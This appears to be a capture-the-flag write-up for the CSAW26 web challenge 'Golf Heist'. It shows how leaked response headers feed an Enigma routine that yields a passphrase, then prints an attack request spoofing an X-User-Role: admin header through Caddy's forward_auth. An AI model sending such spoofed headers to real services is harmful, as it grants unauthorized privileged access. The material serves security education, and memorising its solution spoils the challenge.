$ / 4 min read/web
Golf Heist
Rotor settings leaked in 418 response headers, fed through a three-rotor Enigma to a passphrase — then the proxy trusts a role header it should never have read.
- section
- CSAW26
- event
- ctf.csaw.io ↗
- category
- web
- status
- ● solved
- target
https://golf-heist.ctf.csaw.io/
The caddy carries everything for them — keys, secrets, headers… and he doesn’t check what’s in the bag.
The pun is Caddy, the reverse proxy. The description tells you the bug class outright.
1. Find the right numbers
Three endpoints return 418 I'm a teapot — apparently useless, but each leaks a
rotor setting in a response header:
| Endpoint | Header | Rotor |
|---|---|---|
/pro-shop/inventory/clubs |
X-Golf-Hint |
R1 |
/pro-shop/inventory/balls |
X-Golf-Hint |
R2 |
/pro-shop/inventory/bags |
X-Golf-Hint |
R3 |
The value is base64 of a zero-padded integer:
MDAwMDE4 -> "000018" -> R1 = 18
Observed: R1=18, R2=14, R3=15. These are regenerated on each service start, so a solver must read them live.
2. Speak the right words
Those rotors drive a three-rotor Enigma (rotors I/II/III + reflector) over the
fixed input G, O, L:
def enigma(r1, r2, r3):
def f(c, w, o): return w[(ALPHA.index(c) + o) % 26]
out = []
for s in ["G", "O", "L"]:
c = s
c = f(c, W["I"], r1 % 26)
c = f(c, W["II"], r2 % 26)
c = f(c, W["III"], r3 % 26)
c = W["REF"][ALPHA.index(c)]
c = f(c, W["III"], (26 - r3 % 26) % 26)
out.append(c)
return out
→ W, O, H
The passphrase then indexes the word table at 0, 1, 0 — not 0,0,0:
PHRASE = [WORDS[l0][0], WORDS[l1][1], WORDS[l2][0]]
→ wedge out handicap
3. Let the caddy do the rest
/api/vault/admin-item validates the phrase, then reads the role straight off
the request:
role = req.headers.get("X-User-Role", "")
if role.lower() == "admin":
return {... "flag": FLAG ...}
The leaked Caddyfile (/api/engineer/caddyfile) explains why that is reachable:
:8000 {
forward_auth 127.0.0.1:9091 {
uri /auth
copy_headers X-User-Id X-User-Role
}
reverse_proxy 127.0.0.1:9092
}
GHSA-7r4p-vjf4-gxv4 — Caddy’s forward_auth copy_headers copies those
headers from the auth response but does not strip client-supplied ones
first. A header the client sets survives to the backend.
POST /api/vault/admin-item
X-User-Role: admin
X-User-Id: caddy
phrase=wedge out handicap
Solver: ~/ctf/work/golf/solve.py — re-derives rotors and phrase live, so it
works against a fresh instance.
## challenge files
34 files · 5.8 MB- .dockerignore
- Dockerfile
- README.md
- app/
- requirements.txt
- solve.py
flags redacted; flag images and local flag.txt files removed